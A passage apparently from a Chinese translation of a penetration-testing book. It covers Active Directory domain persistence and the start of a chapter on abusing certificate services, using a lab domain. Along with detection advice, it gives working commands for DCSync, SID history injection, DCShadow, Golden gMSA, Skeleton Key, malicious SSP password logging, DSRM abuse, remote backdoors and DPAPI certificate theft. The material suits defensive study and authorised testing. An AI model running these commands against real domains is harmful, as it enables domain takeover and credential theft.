Get-DomainObjectAcl -Identity 'Domain Admins' | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll")} | select securityidentifier
攻击过程如以下截图所示:
图 7.12 – jaime.lannister 被添加到 AdminSDHolder 域对象的 DACL 中
必要时,攻击者将以 jaime.lannister
身份登录,并将自己添加到 domain** **admins
组中:
net group "domain admins" jaime.lannister /add /domain
结果可以在以下截图中看到:
图 7.13 – jaime.lannister 用户账户被添加到 Domain Admins 组
有两种方法可以检测这种技术。我们可以定期查看 AdminSDHolder 对象的 ACL,以确保没有任何更改,并且可以监控 adminCount** = **1
的用户和组。现在,我们将讨论如何向域对象本身添加权限。
域
通过域管理员权限,我们可以为任何受我们控制的用户授予 DCSync
权限。结果,低权限用户将能够提取域中所有用户的哈希值。添加 DCSync 权限的 PowerView 命令如下所示:
Add-DomainObjectACL -PrincipalIdentity renly.baratheon -TargetIdentity "dc=sevenkingdoms,dc=local" -Rights DCSync -Verbose
然后,我们返回到低权限用户并运行以下 Mimikatz 命令:
mimikatz.exe "lsadump::dcsync /all /csv"
成功的 DCSync 攻击结果如图所示:
图 7.14 – 为用户添加 DCSync 权限并提取哈希值
DCSync 攻击检测在 第四章 中已有介绍。
现在,我们进入域对象属性操作部分。我们将从我们熟悉的老朋友——SID 历史开始。
SID 历史
我们在第五章中详细讨论了 SID 历史,当时我们讲解了跨森林的横向移动。令人惊讶的是,SID 历史也适用于来自同一域的 SID,这意味着如果我们将特权 SID 添加到 SID 历史属性中,普通用户实际上将成为域管理员。
在 Windows Server 2016 之前,攻击者可以使用 Mimikatz 添加 SID 历史:
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:jaime.lannister /new:S-1-5-21-4243769114-3325725031-2403382846-519"
然而,Windows Server 2016 中的 sid::patch
命令阻止了此攻击的执行,并在执行时显示以下错误:
图 7.15 – 通过 Mimikatz 添加 SID 历史时出现错误
直接在现代域控制器上添加 SID 历史的唯一已知方法在这里描述[5]。它涉及在域控制器上安装 DSInternals PowerShell 模块并重启 NTDS 服务:
Get-ADUser -Identity lord.varys -Properties sidhistory, memberof
Get-ADUser -Identity cersei.lannister -Properties sidhistory, memberof
Stop-service NTDS -Force
Add-ADDBSidHistory -samaccountname lord.varys -sidhistory S-1-5-21-4243769114-3325725031-2403382846-1111 -DBPath C:\Windows\ntds\ntds.dit -Force
Start-service NTDS
Get-ADUser -Identity lord.varys -Properties sidhistory, memberof
结果,用户 lord.varys
的 SID 历史中已添加了域管理员 SID,如下图所示:
图 7.16 – SID 历史已添加到 lord.varys 用户
要检测这一技术,我们可以在域控制器上配置事件 ID 4765
(SID 历史已添加到帐户)和 4766
(尝试将 SID 历史添加到帐户失败)的审计。另一种方法是使用 PowerShell 查找 SID 历史中与域 SID 匹配的用户:
[string]$DomainSID = ((Get-ADDomain).DomainSID.Value)
Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory | Where {$_.SIDHistory -Like "$DomainSID-*"}
我们的持久化技巧已成功被检测,如下图所示:
图 7.17 – 检测到具有可疑 SID 历史的用户
接下来的技术与此类似,但我们现在将更改计算机的属性,使其成为域控制器。
服务器(不)信任帐户
该攻击的主要概念是将 UF_SERVER_TRUST_ACCOUNT
位设置在计算机的 userAccountControl 属性中。然后,AD 必须将此计算机的 primaryGroupId
属性设置为域控制器组的 RID。为了执行这些操作,我们需要域管理员权限。可以手动完成此操作,也可以借助 Stealthbits[6] 开发的 PowerShell 脚本。该脚本有三个功能。第一个命令将创建一个计算机对象,并授予 Authenticated Users
组 Ds-Install-Replica
和 Write
权限:
Add-ServerUntrustAccount -ComputerName Desktop -Password "Qwerty123!" -Verbose
当攻击者需要恢复对域的控制时,则必须调用第二个功能。它会将 userAccountControl 值设置为 8192
(SERVER_TRUST_ACCOUNT),使用 Mimikatz 执行计算机帐户的 pass-the-hash 攻击,并最终执行 DCSync:
Invoke-ServerUntrustAccount -ComputerName Desktop -Password "Qwerty123!" -MimikatzPath "C:\Users\robert.baratheon\Downloads\mimikatz_trunk\x64\mimikatz.exe" -Verbose
第三个功能用于清理:
Remove-ServerUntrustAccount -ComputerName Desktop -DeleteComputer
以下截图显示了完整的攻击链执行:
图 7.18 – 服务器信任帐户攻击
该攻击为攻击者创建了相当重要的立足点,从计算机账户的创建和该账户上不寻常的 ACL 开始,进一步通过传递哈希进行横向移动,最后进行 DCSync 攻击。稍后我们将解释你可能从未听说过的最危险的用户权限。
SeEnableDelegationPrivilege
这里的主要思想是控制一个具有SeEnableDelegationPrivilege
用户权限的对象,如果该对象对域中任何用户或计算机拥有GenericAll
或GenericWrite
权限,攻击者将实现域持久性。令人惊讶的是,GenericAll
权限不足以修改账户的委派设置,这就是为什么需要SeEnableDelegationPrivilege
权限的原因。默认情况下,这一权限仅适用于域控制器本身。
注意
这个技术是由harmj0y发现的,并且在此有详细描述:blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
。
首先,我们必须通过编辑默认域控制器策略来授予后门用户此权限,策略文件位置为\\sevenkingdoms.local\sysvol\sevenkingdoms.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
。然后,我们利用对受害者用户的GenericAll
或GenericWrite
权限,将msDS-AllowedToDelegateTo
值设置为指向我们的目标服务。GenericWrite
在利用过程中需要知道受害者的密码,而GenericAll
则允许我们更改密码。最后,我们通过与横向移动时相同的方式滥用受限委派。为了准备攻击演示实验室,我将通过 ADSI 编辑器将tywin.lannister
用户账户授予GenericAll
权限,赋予renly.baratheon
账户,方法与上一章相同。
作为域管理员,攻击者可以手动将tywin.lannister
添加到上述组策略中。以下 PowerView 命令将确认所有先决条件已满足:
$policy = Get-DomainPolicy -Source DC
$policy.PrivilegeRights.SeEnableDelegationPrivilege
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'tywin.lannister'}
结果见以下截图:
图 7.19 – tywin.lannister 用户具备执行攻击所需的所有权限
现在,我们使用以下命令设置renly.baratheon
用户账户的msDS-AllowedToDelegateTo
属性和 userAccountControl 标志:
Set-DomainObject -Identity renly.baratheon -Set @{"msds-allowedtodelegateto"="http/kingslanding.sevenkingdoms.local"} -Verbose
Set-DomainObject -Identity renly.baratheon -Xor @{"useraccountcontrol"="16777216"} -Verbose
Get-DomainObject -Identity renly.baratheon | select msds-allowedtodelegateto, useraccountcontrol | fl
成功执行上述命令的结果可以在以下截图中看到:
图 7.20 – 成功设置所需的用户属性
最后,我们将像在第五章中一样滥用受限委派。
从防御角度来看,必须监视此类用户权限以及 GPO 的更改。最终的后门技术也将依赖委派,但这次是在 krbtgt 账户上的 RBCD。
krbtgt 上的委派
这种技术的理念是滥用 krbtgt 账户上的 RBCD。借助内置的域管理员组权限,攻击者可以设置 krbtgt 账户的msDS-AllowedToActOnBehalfOfOtherIdentity
属性。对于Protected Users
组的成员和启用了Account is sensitive and cannot be delegated
标志的账户,这个技巧不起作用。攻击者将通过创建或使用现有计算机账户来设置后门,并借助 AD 模块配置 krbtgt 账户的msDS-AllowedToActOnBehalfOfOtherIdentity
属性:
StandIn_v13_Net45.exe --computer legit --make
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount legit$ -Verbose
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
前述命令的结果可以在以下截图中看到:
图 7.21 – 成功设置 krbtgt 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性
要作为低权限用户利用后门,攻击者请求 krbtgt 服务的服务票据,并执行 DCSync 攻击,步骤如下:
Rubeus.exe hash /password:QMgbL9WpzfRgSrr
Rubeus.exe s4u /nowrap /impersonateuser:Administrator /msdsspn:krbtgt /domain:sevenkingdoms.local /user:legit$ /rc4:56E24C7AD8CCD68A1868CBFFA14B7CD1
Rubeus.exe asktgs /service:"ldap/kingslanding.sevenkingdoms.local" /ptt /ticket:"from_s4u_base64"
mimikatz.exe "lsadump::dcsync /csv /all" "exit"
前述命令执行的结果如下截图所示:
图 7.22 – 由于 krbtgt 账户上的委派而导致的 DCSync 攻击
从防御角度来看,检测这种技术的唯一方法是监视 krbtgt 账户属性的更改。现在我们已经完成了属性和 ACL 修改,我们将解释一个恶意域控制器攻击。
DCShadow
DCShadow 攻击允许您创建一个伪造的域控制器并推送更改到 AD 对象。请注意,使用复制推送数据可能会破坏您的域。
注意
这种攻击是由Vincent Le Toux和Benjamin Delpy(www.dcshadow.com/
)在 2018 年提出的。
DCShadow 需要域管理员权限来复制更改,并需要在受损主机上具有SYSTEM
权限,从而可以实现伪造域控制器功能。Le Toux 和 Delpy 描述的攻击步骤如下:
-
通过在
CN=Configuration
分区中创建两个对象注册域控制器,并更改所使用计算机的 SPN。 -
通过触发
DrsReplicaAdd
、KCC 或其他内部 AD 事件来推送数据。 -
删除先前创建的对象以降级域控制器。
我们的攻击计划如下:我们将daenerys.targaryen
(域管理员)的特权 SID 添加到低权限的viserys.targaryen
用户账户的 SIDHistory 属性中。在meereen.essos.local
上,我们以daenerys.targaryen
身份登录,他在essos.local
域中拥有域管理员权限。我们必须以SYSTEM
身份运行以下 Mimikatz 命令:
!+
!processtoken
lsadump::dcshadow /object:viserys.targaryen /attribute:sidhistory /value:S-1-5-21-2801885930-3847104905-347266793-1110
执行结果如以下截图所示:
图 7.23 – DCShadow 添加 SIDHistory 属性
以下 Mimikatz 命令应使用域管理员权限执行:
token::whoami
lsadump::dcshadow /push
属性复制如以下截图所示:
图 7.24 – DCShadow 在域控制器上复制 SIDHistory 属性
结果是,viserys.targaryen
已添加SIDHistory
属性,并且现在可以访问域控制器:
图 7.25 – DCShadow 将特权 SID 添加到 viserys.targaryen
检测可以通过网络流量监控或通过与域控制器的事件相关联来完成。蓝队可以通过监控来自非域控制器的特定 API 调用来检测传入的复制流量。在域控制器的安全日志中,防御人员可以检查 ID 为4662
的一系列事件,通常包含CreateChild
、Control Access
和Delete
,这些操作在短时间内被访问。以下是记录的恶意事件示例:
图 7.26 – 恶意域控制器对象创建
另一种实现持久化的方式是通过使用来自Nishang[7]的脚本,在 AD 对象上设置 DCShadow 所需的最小权限。
我们的最后一个域级持久化技术,即 Golden gMSA 攻击,允许特权攻击者离线计算域和林中的 gMSA 密码。
Golden gMSA
让我们回顾一下,gMSA 用于服务账户的自动密码轮换,以缓解诸如 Kerberoasting 等攻击。我们在第四章中评估了这一解决方案的安全性。Golden gMSA 攻击最初由Yuval Gordon提出,他来自一家名为 Semperis 的公司。攻击的核心思想是,攻击者如果能够获取包含附加属性的密钥分发服务(KDS)根密钥,就可以离线计算 gMSA 的密码。
注意
原始研究可以在此处找到:www.semperis.com/blog/golden-gmsa-attack/
。
使用GoldenGMSA
[8]工具,攻击者可以离线计算 gMSA 密码,因为它是由 KDS 根密钥和其他几个属性衍生出来的。攻击者需要运行三条命令来获取base64
格式的密码。第一条命令列出所有可用的 gMSA,第二条命令转储相应的 KDS 根密钥和其他属性,第三条命令使用前两条命令的输出计算 gMSA 密码:
GoldenGMSA.exe gmsainfo
GoldenGMSA.exe kdsinfo
GoldenGMSA.exe compute --sid S-1-5-21-2801885930-3847104905-347266 793-1115 --kdskey <kds_from_step_2> --pwdid AQAAAEtEU0sCAAAA aQEAAAYAAAACAAAAVXiD+faLnEL66hoQ7gimmwAAAAAYAAAAGAAAAGUAcwBzAG8 AcwAuAGwAbwBjAGEAbAAAAGUAcwBzAG8AcwAuAGwAbwBjAGEAbAAAAA==
成功的黄金 gMSA 攻击在这里演示:
图 7.27 – 使用黄金 gMSA 攻击检索 gMSA 密码
需要提到的是,只有一个 KDS 根密钥;然而,计算 gMSA 的所有其他值是不同的,这意味着每个密码需要单独转储。
从防御角度来看,必须启用额外的审计功能以检测 KDS 根密钥转储尝试。
本节关于域持久性集中在域级别的控制。然而,还有其他方法可以通过滥用不同的认证机制和域控制器上的权限来进行 AD 后门攻击。
域控制器持久性
在 Windows 环境中,域控制器始终是恶意行为者在其攻击过程中关注的关键目标之一。如果攻击者已经入侵了域控制器并建立了持久性,那么他们有可能在几分钟内重新获得整个域的管理员权限。本节中的技术利用了凭据操作和认证机制的改变。在本节末,我们将解释安全描述符的概念,以及攻击者如何修改它们来维持在环境中的特权访问。
骨架密钥
骨架密钥攻击是一种在域控制器上的持久性方法,它在域中设置了一个主密码,允许攻击者以任何域用户的身份进行身份验证。然而,为了避免被早期检测到,安装的后门模块允许用户继续使用现有密码登录。为了使 Kerberos 认证正常工作,必须强制加密降级为RC4_HMAC_MD5
。此攻击需要域管理员权限以及域控制器上的SeDebugPrivilege
用户权限。骨架密钥攻击无法在重启后生效,因为对本地安全授权子系统服务(LSASS)进程的所有操作都在内存中进行。
注意
关于骨架密钥内存操作的更详细描述可以在此处找到:adsecurity.org/?p=1255
。
Mimikatz 已经掌握了此攻击。以下命令会注入骨架密钥恶意软件:
mimikatz.exe „privilege::debug" „misc::skeleton" „exit"
以下展示了成功攻击域控制器的示例:
图 7.28 – 骨架密钥恶意软件已在域控制器上部署
现在,为了确认,我们在不知道特权用户密码的情况下映射了域控制器的 C:\
驱动器:
net use Y: \\kingslanding.sevenkingdoms.local\c$ mimikatz /user:sevenkingdoms\robert.baratheon
磁盘成功映射:
图 7.29 – Skeleton Key 生效
为了部分缓解 Skeleton Key 攻击,我们通过在 HKLM\SYSTEM\CurrentControlSet\Control\Lsa
注册表项中创建 DWORD
值 RunAsPPL
并设置为 1
来将 LSASS 作为受保护进程运行。如微软所述,"这将防止非管理员的非 PPL 进程通过打开进程函数访问或篡改 PPL 进程中的代码和数据。"
在以下屏幕截图中,我们可以看到原始的 Skeleton Key 攻击失败了:
图 7.30 – PPL 击败了 Skeleton Key 攻击
然而,通过使用 Mimikatz 的 mimidrv.sys
驱动程序,仍然可以绕过 PPL 机制,移除该机制。然而,这种绕过方法更加显眼,因为它需要加载驱动程序和创建服务:
图 7.31 – PPL 保护被 mimidrv 移除
注意
还有其他针对 PPL 的绕过方法,itm4n 在这里有详细描述:itm4n.github.io/lsass-runasppl/
。
此外,蓝队可以通过组策略启用 LSASS 进程的审计模式。这样就可以监控 LSASS 加载的插件和驱动程序,事件 3033
和 3063
将分别出现在日志中。要启用审计,我们需要在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe
注册表项中创建 AuditLevel
DWORD 值,并设置为 8
。当 Skeleton Key 攻击通过远程方式进行时,域控制器将记录事件 ID 为 4673
、4611
、4688
和 4689
的事件,详见此处[9]。这些事件将显示使用敏感权限和登录进程的注册。最后两个事件仅在启用 Process Tracking
时出现。
为了进一步探索如何改变身份验证机制,我们将引入恶意 SSP 的概念。
恶意 SSP
安全支持提供者接口(SSPI) 是 Windows 身份验证的基础。当应用程序需要通过特定协议进行身份验证时,它们使用 SSPI 调用相应的 SSP。系统默认实现了六个 SSP,作为 DLL 文件,存储在 C:\Windows\System32
文件夹中。也可以引入自定义的 SSP。提供者列表存储在注册表项 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
中。
在已被攻陷的主机上,攻击者有两个选项。第一个选项是利用 Mimikatz 将恶意 SSP 直接注入 LSASS 进程。第二个选项是更新 SSP 安全包注册表键,将 mimilib.dll
放置在与 LSASS 同一文件夹(C:\Windows\System32)中,并等待重启。这两种方式都有明显的操作安全(OpSec)考虑因素。内存注入场景在重启后不会持续存在,但会立即开始记录密码。可以使用以下命令注入 Mimikatz 的 memssp
模块:
mimikatz.exe „privilege::debug" „misc::memssp" „exit"
恶意 SSP 成功注入后的结果如下面的截图所示:
图 7.32 – Mimikatz memssp 模块被注入
我们可以使用 misc::lock
Mimikatz 命令锁定屏幕,迫使受害者重新登录。包含密码的日志文件位于 C:\Windows\System32\mimilsa.log
,如下图所示:
图 7.33 – mimilsa.log 文件中的明文密码
要通过注册表手动添加 SSP,请运行以下命令:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
下面展示了mimilib
成功添加为 SSP 的情况:
图 7.34 – mimilib 被注册为 SSP
重启后,密码可以在 C:\Windows\System32\kiwissp.log
中找到:
图 7.35 – kiwissp.log 文件中的明文密码
为了检测恶意 SSP,蓝队可以监控 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
注册表键和磁盘上的文件变化。然而,攻击者可以更改日志存储文件夹和文件名。在 LSASS 注入的情况下,我们可以应用之前讨论过的相同检测方法。另外,建议将 LSASS 运行为 PPL。
为了通过身份验证操作实现我们的持久化,我们将讨论在域控制器上滥用本地管理员账户。
DSRM
目录服务还原模式(DSRM)账户是域控制器上的本地管理员账户。此账户的密码与域管理员账户的密码不同。该密码在域控制器提升时设置,并且在密码轮换过程中经常被忽视。Sean Metcalf 对两种攻击场景做了很好的描述。第一种是将 DSRM 密码更改为已知密码,第二种是将其与我们选择的域账户同步。我们将利用 Ntdsutil
来执行这些操作。以下截图展示了这两种场景:
图 7.36 – DSRM 密码重置和同步场景
我们可以通过转储并比较用户哈希来确认同步是否成功:
图 7.37 – DSRM 密码已与 jaime.lannister 账户的密码同步
使用 DSRM 密码登录时,有三种可能的场景。在域管理员权限下,攻击者可以通过将HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
中的注册表键值设置为以下之一,强制选择所需的选项:
-
0(默认值):只有当域控制器处于 DSRM 模式时,才允许登录
-
1
:只有在停止目录服务时才允许登录 -
2
:可以自由登录,没有任何限制
使用 PowerShell,攻击者将把注册表值设置为2
:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
然后,攻击者将执行哈希传递攻击,以域控制器的本地管理员身份启动 Shell,并运行 DCSync 攻击:
mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /dc:kingslanding /user:robert.baratheon /csv"
这里演示了 DCSync 的结果:
图 7.38 – 来自 DSRM 登录会话的 DCSync 结果
蓝队应监控HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
注册表键的存在。事件 ID 4794
将记录设置 DSRM 密码的尝试
我们最后的持久化技术将涵盖安全描述符及其如何设置,以便为恶意行为者提供特权访问,而无需显式地将受损用户添加到特权组中。
安全描述符更改
安全描述符用于存储一个对象对另一个对象的权限。它采用安全描述符定义语言(SDDL)中定义的格式进行描述。访问控制实体(ACE)字符串用于自愿访问控制列表(DACL)和系统访问控制列表(SACL)[10]:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;
这个想法是修改多个远程访问方法的安全描述符。我们将在域控制器上为非特权用户设置 WMI 和 PS-Remoting 访问后门。此外,我们还将修改远程注册表的安全描述符。RACE 工具包有用于这些任务的 PowerShell 功能:
Set-RemoteWMI -SamAccountName renly.baratheon -ComputerName kingslanding -Verbose
Set-RemotePSRemoting -SamAccountName renly.baratheon -Verbose
Add-RemoteRegBackdoor -Trustee renly.baratheon -ComputerName kingslanding -Verbose
在域控制器上执行命令的结果如下:
图 7.39 – 为用户 renly.baratheon 在域控制器上设置后门
现在,我们可以确认 PS-Remoting 访问。
图 7.40 – PS-Remoting 后门正在运行
注册表后门允许攻击者检索机器账户哈希(银票)、本地账户哈希以及域缓存凭证。该后门打开远程注册表,检索BootKey
,用它解密 LSA 密钥,然后在该密钥的帮助下解密MachineAccount
哈希:
Get-RemoteMachineAccountHash -ComputerName kingslanding -Verbose
Get-RemoteLocalAccountHash -ComputerName kingslanding -Verbose
Get-RemoteCachedCredential -ComputerName kingslanding -Verbose
如果检测到 ID 为4670
(对象上的权限已更改)的日志事件,则可以检测到此后门。
总结
总之,攻击者可以通过多种方式在受损环境中实现持久性。这可以在域级别实现,也可以通过访问域控制器来实现。我们看到伪造票证的强大功能,以及如果对手遵循 OpSec 建议,其使用是多么难以检测。我们还探索了各种 ACL 和属性修改。像往常一样,细节决定成败,在复杂的环境中,检测这些技术可能会很棘手。我们在实践中看到了 DCShadow 和 Golden gMSA 攻击。我们深入探讨了域控制器持久性的话题,展示了收集明文密码的方法。最后,我们讨论了安全描述符以及可能的系统后门方式。
在接下来的章节中,我们将重点讨论攻击 AD 证书服务,这是 Windows 环境中的特权目标。
参考文献
-
关于 2021 年 11 月更新的评论:
www.thehacker.recipes/ad/movement/kerberos/forged-tickets/silver
-
PAC 请求者和 Golden Ticket 攻击:
www.varonis.com/blog/pac_requestor-and-golden-ticket-attacks
-
通过检查校验和和票证时间来检测恶意活动:
www.trustedsec.com/blog/red-vs-blue-kerberos-ticket-times-checksums-and-you/
-
WonkaVision 工具:
github.com/0xe7/WonkaVision
-
ServerUntrustAccount:
github.com/STEALTHbits/ServerUntrustAccount
-
DCShadow 脚本:
github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1
-
GoldenGMSA 工具:
github.com/Semperis/GoldenGMSA
-
一次远程 Skeleton Key 攻击:
adsecurity.org/?p=1275
-
ACE 解释:
helgeklein.com/blog/permissions-a-primer-or-dacl-sacl-owner-sid-and-ace-explained/
第八章:滥用 Active Directory 证书服务
在接下来的两章中,我们将介绍几乎在每个环境中都可以找到但在 Active Directory 部署期间并未默认安装的服务。我们将从Active Directory 证书服务(AD CS)开始。这项服务是 Microsoft 对与 Active Directory 集成的公钥基础设施(PKI)的实现。它允许我们在整个 Active Directory 林中利用公钥密码学,提供证书、数字签名、代码签名和其他功能。然而,与伟大的能力伴随着伟大的责任。由于其复杂性,AD CS 在硬化和监控方面经常被忽视。2021 年 6 月,SpecterOps 发布了一篇全面的研究论文,在其中描述了攻击 AD CS 的已知和新方法[1]。
我们将从解释必要的 PKI 理论开始我们的学习旅程。然后,我们将覆盖可能的证书窃取方式,并实现在用户和计算机域账户上的持久性。最后,我们将探讨允许对手妥协域环境的域权限提升和持久性技术。如往常一样,所有攻击都将跟随详细的检测和预防建议。
在本章中,我们将探讨以下主题:
-
PKI 理论
-
证书窃取
-
账户持久性
-
域权限提升
-
域持久性
技术要求
在本章中,您需要访问以下内容:
-
VMware Workstation 或 Oracle VirtualBox 至少需要 16 GB RAM、8 CPU 核心和至少 55 GB 总空间(如果您使用快照,则需要更多空间)
-
强烈推荐使用基于 Linux 的操作系统
-
从 GOADv2 项目中,我们将使用 DC03 和 SRV03
PKI 理论
在本节中,我们将涵盖本章后续使用的必要理论和术语。首先,什么是公钥密码学?它是一种使用一对相关密钥的非对称加密系统。其次,它是如何工作的?简单来说,用户生成两个密钥(私钥和公钥),并使用私钥进行解密/签名消息。第二个密钥对所有人都可用(因此称为公共密钥),用于加密/验证消息的签名。这两个密钥在数学上是相关的,但不能从公钥恢复私钥。牢记刚才描述的概念,我们现在可以更详细地讨论 PKI。
PKI 的最重要组件包括认证机构(CA)、注册机构(RA)、中央目录、证书管理系统和证书政策。CA 是 PKI 的核心。CA 使用其自己的私钥签名与给定用户绑定的公钥。CA 可以是根 CA 和中间 CA。RA 负责实体的身份验证。中央目录存储密钥,证书管理系统控制证书的访问和交付。证书政策定义 PKI 的实体、角色和职责。
现在,让我们讨论一下 Active Directory[2]中的可用 AD CS 角色。微软创建了六种角色:
-
CA
– 签发证书并管理其有效性 -
CA Web Enrollment
– 允许用户通过浏览器连接到 CA 并请求证书以及证书撤销****列表(CRLs) -
Online Responder
– 评估证书的状态信息并将其发送回请求者 -
Network Device Enrollment Service
(NDES)– 允许为网络设备获取证书 -
Certificate Enrollment Web Service
(CES)– 允许通过 HTTPS 协议进行注册 -
Certificate Enrollment Policy Web Service
(CEP)– 允许用户和计算机获取证书注册策略信息
接下来,我们将更详细地讨论证书、模板及其相关流程。证书是一个由 CA 数字签名的文档,格式为 X.509。每个证书都有其特定的用途,如客户端身份验证、代码签名、智能卡登录等。这些用途被描述为对象标识符(OIDs),并称为扩展密钥使用。证书模板定义其用途、获取证书所需的用户信息以及适用的访问控制。将证书模板视为一个原型,在签发过程中将填写用户信息。
现在,让我们讨论用户如何请求证书。这个过程称为注册。首先,客户端找到企业 CA,然后生成一对私钥和公钥,将公钥和其他相关信息放入证书签名请求(CSR)中,用自己的私钥签名该 CSR,并将其发送到企业 CA。其次,CA 会执行一些检查,如用户是否有权限请求特定证书模板,以及用户是否允许进行注册。如果所有检查都成功通过,CA 将用提供的用户信息填写模板,用自己的私钥签名证书,并将其返回给用户。
在 Active Directory 中支持证书认证的两个协议是 Kerberos 和安全通道(Schannel)。Kerberos 利用初始认证的公钥加密(PKINIT)。用户将使用其证书的私钥签名认证挑战,并将其发送给域控制器。如果验证过程成功,将颁发一个 TGT。另一个协议是 Schannel。在认证过程中,域控制器会请求客户端提供证书,并通过使用 Kerberos S4U2self 扩展将凭据映射到用户帐户。如果失败,下一步是基于主题备用名称(SAN)扩展、主题和颁发者字段将证书映射到用户帐户。Schannel 与 LDAPS 配合良好。
证书传递是认证过程中的预认证阶段,在此阶段,证书用于获取 TGT。在 PKINIT 的情况下,我们可以使用认证证书请求 TGT。如果 PKINIT 不受支持,我们可以通过 LDAP/S 使用名为 PassTheCert[3] 的工具进行认证。该工具的作者提供了很好的研究,后面会给出链接[4]。
在我们开始之前,我们需要为 AD CS 启用审计,以便能够检测到自己的恶意活动。PHDays 会议上提出了最佳的检测指南之一[5]。在这次演讲中,你还可以找到现成的搜索查询。为了通过组策略启用日志记录,我们需要在默认域策略中的以下路径下勾选成功和失败:计算机配置 | 策略 | Windows 设置 | 安全设置 | 高级审计策略配置 | 审计策略 | 对象访问 | 审计
证书服务。
接下来,在 CA 属性中,我们将为所有事件启用审计,如下所示的截图所示:
图 8.1 – 为 AD CS 事件启用审计
现在我们已经了解了 PKI 的关键概念,让我们深入探讨实际部分。当然,理论部分还有很多内容需要覆盖,但我们会在必要时逐步引入,以帮助理解攻击。如果你希望先进行深入学习,欢迎查阅介绍中提到的 SpecterOps 论文。我们将从证书盗用技术开始我们的学习之旅。
证书盗用
本节将重点讨论终端上的证书盗取。如果环境中部署了 AD CS,那么证书很可能用于域身份验证。Windows 使用的是.pfx
格式的证书,该格式包含证书本身及其对应的私钥。然而,私钥也可以单独存储,例如存储在专用硬件上,如受信平台模块(TPM)、硬件安全模块(HSM)或智能卡。大多数公司并未引入硬件元素,私钥通常存储在操作系统中。Windows 借助数据保护应用程序编程接口(DPAPI)来保护密钥。为了演示,我们将为khal.drogo
用户颁发一个不可导出的私钥证书。我们可以通过Microsoft 管理控制台(MMC)中的证书管理单元来完成这一操作。现在,我们准备开始实践。
THEFT1 – 使用 CryptoAPI 导出证书
导出证书有两种方式。第一种是通过certmgr.msc
中的图形界面,或者借助 PowerShell cmdlet,或者使用 CertStealer 工具[6]。这些工具使用 Windows CryptoAPI,并且只有在私钥可导出时才允许导出。如果私钥不可导出,我们可以使用 Mimikatz。其思路是对CryptoAPI
(CAPI)或Cryptography API: Next Generation
(CNG)进行补丁修复,具体取决于密钥提供者,以允许私钥导出。需要特别说明的是,CAPI 补丁修复是在当前进程中进行的。当使用 Microsoft 软件密钥存储提供程序时,需要进行 CNG 补丁修复,并且该修复会补丁密钥隔离(KeyIso)服务,这个服务在lsass.exe
进程中运行,这意味着你需要在机器上拥有“调试”权限。以下命令将显示khal.drogo
拥有一个不可导出的私钥的证书:
mimikatz.exe "crypto::certificates /export" "crypto::capi" "crypto::certificates /export" "exit"
第一次导出尝试由于私钥导出字段的错误而失败,但随后补丁导出成功。以下是命令执行结果:
图 8.2 – khal.drogo 的证书导出成功
检测此攻击的唯一方法是当需要 CNG 补丁修复并且对lsass.exe
的访问正在被监控时。
THEFT2 – 通过 DPAPI 盗取用户证书
DPAPI 是 Windows 组件,允许应用程序存储敏感数据。此数据由主密钥保护,主密钥通过应用 PBKDF2 函数从用户的密码哈希、SID 和盐值推导而来。证书存储在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates
注册表键或 %APPDATA%\Microsoft\systemcertificates\my\certificates
文件夹中。关联的私钥存储在 %APPDATA%\Microsoft\Crypto\RSA\User SID
(对于 CAPI 密钥)和 %APPDATA%\Microsoft\Crypto\keys
(对于 CNG 密钥)中。小提醒:即使启用隐藏文件,也无法在文件夹中看到密钥。要查看这些文件夹的内容,请使用 dir** /**a:s
命令行。要解密证书的私钥,我们需要相应的主密钥。有几种方法可以获取主密钥,但其中三种方法需要提升的权限:
-
从域控制器备份密钥 (lsadump::backupkeys)
-
DPAPI 缓存的主密钥 (sekurlsa::dpapi)
-
DPAPI_SYSTEM
密钥 (lsadump::secrets) -
通过提供用户的哈希值或密码
以下 Mimikatz 命令将允许您以 .der
格式转储证书,找出主密钥的 guidMasterKey
值,解密主密钥,最后解密证书的私钥:
crypto::system /file:C:\users\khal.drogo\appdata\roaming\microsoft\systemcertificates\my\certificates\C7889A4CBF0B4F10CA29347D81327DC6CED9ED95 /export
dpapi::capi /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2801885930-3847104905-347266793-1112\d2d039eb9fe8cf2dd19f701b6f890220_9d1ba1ca-81ea-41ad-bc71-414af8de5013
dpapi::masterkey /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Protect\S-1-5-21-2801885930-3847104905-347266793-1112\6e1524df-7d72-4b90-a95f-72341d79449f /rpc
dpapi::capi /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2801885930-3847104905-347266793-1112\d2d039eb9fe8cf2dd19f701b6f890220_9d1ba1ca-81ea-41ad-bc71-414af8de5013 /masterkey:5401985c1aa5a8ae1f25a9f08beaa53f4b6ad98e
在 Linux 机器上借助 openssl
,我们可以构建有效的 .****pfx
文件:
